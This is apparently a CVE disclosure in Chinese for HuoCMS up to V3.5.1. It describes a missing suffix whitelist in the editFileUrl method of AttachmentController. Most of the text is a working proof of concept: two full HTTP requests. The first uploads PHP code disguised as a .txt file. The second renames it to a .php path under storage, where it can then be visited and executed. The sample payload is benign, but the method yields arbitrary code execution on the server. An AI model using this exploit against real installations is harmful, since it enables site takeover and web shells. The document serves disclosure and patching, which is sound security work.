yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
AttachmentController.php
HuoCMS - <=V3.5.1
app ->controller ->backend -> AttachmentController.php:editFileUrl()
在 editFileUrl 方法中调用的 copy 函数中,$newPathUrl 的后缀未经过白名单验证,可被利用来修改文件名。后缀由传入的 suffix_url 控制,且其可控。

步骤1:提前上传一个含有恶意内容且后缀在白名单内的文件,并记录该文件的ID。
POST /attachment/uploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Length: 581
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php/Index/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="type"
2
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="attachment_cate_id"
0
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="reduce_img"
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
<?php
echo "hello word!"
?>
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9--

根据返回内容,确定ID为67。
步骤2:然后基于 editFileUrl 构造请求,将ID为67的文件进行重命名。漏洞点 editFileUrl 中调用的 copy 函数用于将文件重命名为非法后缀。
POST /attachment/editFileUrl HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: token
Content-Length: 83
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
id=67&name=test&prefix_url=&suffix_url=file/20250416/test.php&description=123123123

注意:如需再次修改,需更改 suffix_url 的文件名,以绕过 editFileUrl 内部 $oldPathUrl != $newPathUrl 条件触发的 copy 函数。
访问URL:http://127.0.0.1/storage/file/20250416/test.php

http://huocms.com https://github.com/yggcwhat/CVE-2025-46080/edit/main/README.md https://www.huocms.com/